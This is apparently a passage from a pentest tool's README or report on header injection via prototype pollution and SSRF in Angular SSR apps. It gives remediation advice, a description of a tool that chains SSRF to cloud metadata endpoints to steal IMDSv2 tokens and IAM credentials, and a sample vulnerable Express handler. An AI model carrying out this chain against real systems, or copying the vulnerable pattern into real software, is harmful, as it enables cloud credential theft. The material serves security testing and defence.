### 2. Header Injection via Prototype Pollution (CVSS: 7.5)
**Description**: Angular SSR processes unsafe query parameters affecting prototype chain
**Impact**: Request header manipulation, potential SSRF chaining

## Remediation
1. Remove/disable X-Forwarded-* header processing or whitelist known proxies
2. Implement strict URL validation before SSRF-prone operations
3. Use `express-validator` or similar for header sanitization
4. Disable AWS/GCP metadata endpoints or use IMDSv2 with hop limit

How It Works
Header Injection Test: Sends prototype pollution payloads and unsafe forwarded headers that Angular SSR might process insecurely
SSRF Chain: Tests access to AWS IMDS, GCP metadata, localhost services via X-Forwarded-For/X-Original-URL
IMDSv2 Token Extraction: Chains SSRF to steal AWS metadata tokens then IAM credentials
Automated Reporting: Generates CVSS-scored pentest report with PoCs
Technical Details
Root Cause: Angular Universal SSR apps often forward req.headers directly to internal APIs without sanitization:

javascript



// Vulnerable Angular SSR pattern
app.get('*', (req, res) => {
  const url = req.headers['x-original-url'] || req.originalUrl;  // SSRF
  internalFetch(url, { headers: req.headers });  // Header injection
});
